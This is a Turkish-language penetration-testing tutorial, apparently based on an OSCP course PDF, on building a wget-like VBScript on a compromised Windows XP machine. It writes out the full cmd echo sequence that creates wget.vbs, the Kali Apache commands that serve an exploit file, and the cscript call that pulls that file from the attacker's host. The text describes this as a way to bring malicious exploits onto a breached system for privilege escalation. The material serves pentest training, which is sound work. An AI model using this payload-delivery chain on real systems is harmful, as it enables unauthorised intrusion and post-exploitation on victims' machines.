Visual Basic Script ile Windows Sistemlere Dosya İndirme

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Windows sistemlerde yer alan VB Script ile windows sistemlerde wget tool'unu oluşturabilmekteyiz. Böylece sızdığımız windows sistemlere dosyalar indirerek privilege escalation'lar ya da post exploitation'lar yapabiliriz. Öncelikle senaryo gereği bir windows sistemin komut satırını aldık diyelim ve hedef sisteme dosya yüklemek istiyoruz. Bu durumda hedef windows sisteminin cmd komut satırına aşağıdaki satırlar sırasıyla girilir ve hedef windows sistemde linux sistemlerdeki wget'e benzer bir wget tool'u oluşturulur.

Windows XP (Dandik) Konsol:

```
> echo strUrl = WScript.Arguments.Item(0) > wget.vbs
> echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
> echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
> echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
> echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
> echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
> echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
> echo Err.Clear >> wget.vbs
> echo Set http = Nothing >> wget.vbs
> echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
> echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
> echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
> echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
> echo http.Open "GET", strURL, False >> wget.vbs
> echo http.Send >> wget.vbs
> echo varByteArray = http.ResponseBody >> wget.vbs
> echo Set http = Nothing >> wget.vbs
> echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
> echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
> echo strData = "" >> wget.vbs
> echo strBuffer = "" >> wget.vbs
> echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
> echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
> echo Next >> wget.vbs
> echo ts.Close >> wget.vbs
```

Not: Bazı Windows versiyonlarında echo ile dosyaya yazıdırılan komut tek tırnak içine alınmalıyken örneğin Windows XP'de alınması gerekmez. Eğer alınırsa komutla beraber tırnak da dosyaya yazılır.

Ardından Kali sistemimizde bir apache sunucusu başlatılır ve apache home dizinine windows sisteme indirmek istediğimiz dosya konur.

Kali (Eski) Konsol:

```
> service apache2 start
> cp priv-exploit.txt /var/www/
```

Son olarak windows sistemlerde yer alan cscript.exe ile wget.vbs tool'umuz çalıştırılır.

Windows XP (Dandik) Konsol:

C:\Documents and Settings\pentest> **cscript wget.vbs http://172.16.3.89/priv-exploit.txt new-exploit.txt**

^ ^
| |
Çekilecek Dosya Çekilen Dosyanın Yeni Adı

Böylece Kali'deki priv-exploit.txt dosyası sızılan Windows sistemine new-exploit olarak yüklenir.

C:\Documents and Settings\pentest Dizini :

Belgelerim
Sık Kullanılanlar
Desktop
Start Menu
UserData
wget.vbs // Oluşturduğumuz wget tool'u
new-exploit.txt

Bu örnekte txt dosyası sadece transfer işleminin gerçekleştirilebildiğini göstermek adına kullanılmıştır. Gerçek senaryolarda ise zararlı exploit'ler kullanılarak sızılan windows sistemin cmd komut satırı üzerinden zararlı dosyalar çekilebilir ve sızılan sisteme privilege escalation ya da post exploitation'lar yapılabilir.

Kaynak

Penetration Testing With Kali Linux.pdf, Yaz Tatili 2014 / Tubitak / OSCP / Resmi Belgeler / , syf. 201